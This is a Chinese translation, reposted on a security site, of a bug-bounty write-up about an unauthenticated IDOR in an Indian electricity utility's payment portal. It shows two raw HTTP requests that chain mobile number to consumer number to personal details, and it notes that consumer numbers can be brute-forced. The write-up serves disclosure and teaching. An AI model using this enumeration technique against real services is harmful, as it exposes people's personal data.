IDOR + 账户接管

admin 2024年9月13日18:36:53评论10 views字数 1578阅读5分15秒阅读模式

 

访问控制:

访问控制是对谁或什么有权执行操作或访问资源进行限制。在 Web 应用程序环境中,访问控制依赖于身份验证和会话管理:

  • 身份验证可确认用户确实是其所说的身份。
  • 会话管理识别同一用户发出了哪些后续 HTTP 请求。
  • 访问控制决定用户是否被允许执行他们试图执行的操作。

不安全的直接对象引用(IDOR):

当应用程序根据用户提供的输入提供对对象的直接访问时,就会发生不安全的直接对象引用 (IDOR)。不安全的直接对象引用允许攻击者通过修改用于直接指向对象的参数值来绕过授权并直接访问资源。这是因为应用程序接受用户提供的输入并使用它来检索对象而没有执行足够的授权检查。

我访问了 APDCL 网站来支付电费。我之前已经注册过,所以我直接进入了登录面板。当我访问登录面板时,我看到有一个输入手机号码的选项。登录流程如下:您输入您的手机号码,服务器向您的手机号码发送一个 OTP,通过这个 OTP,您就可以登录网站。

IDOR + 账户接管

接下来,我检查了我的代理工具 Burp Suite 捕获的所有流量。

我遇到了几个端点,但引起我注意的是以下几个:一个端点/website/myBijulee/fetchConsumer正在通过mobile_no查询参数使用消费者的手机号码获取电力消费者号码。

此端点未经身份验证,因此任何人都可以简单地输入任何手机号码。如果记录存在,服务器将返回客户的消费者号码。

请求 1:

POST /website/myBijulee/fetchConsumer?mobile_no=<mobile_number> HTTP/1.1
Host: www.xxx.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Referer: https://www.xxx.org/website/
Origin: https://www.xxx.org
Content-Length: 0
Te: trailers
Connection: close

IDOR + 账户接管

我发现的下一个端点改变了一切。此端点/cbs/RestAPI/myBijulee/ConsDetails通过cons_no查询参数获取消费者详细信息。我记得我已经找到了一个通过手机号码获取消费者号码的端点。

请求 2:

POST /cbs/RestAPI/myBijulee/ConsDetails?cons_no=<consumer_number> HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Referer: https://www.xxx.org/
Origin: https://www.xxx.org
Connection: close

IDOR + 账户接管

因此,如果我们知道他们的手机号码,我们就可以检索任何人的个人详细信息,或者直接强制执行cons_no查询参数,因为消费者号码输入是数字。

一个非常简单但影响巨大的漏洞。任何攻击者,无需任何权限,都可以通过利用未经身份验证的 API 端点获取所有消费者数据,从而可能导致大规模数据泄露。

以上内容由白帽子左一翻译并整理。原文:https://infosecwriteups.com/idor-account-takeover-how-i-secured-personal-information-pii-of-5-17m-electricity-consumers-a9db5e4999b9

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。

原文始发于微信公众号(白帽子左一):IDOR + 账户接管

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月13日18:36:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   IDOR + 账户接管https://cn-sec.com/archives/3138450.html

发表评论

匿名网友 填写信息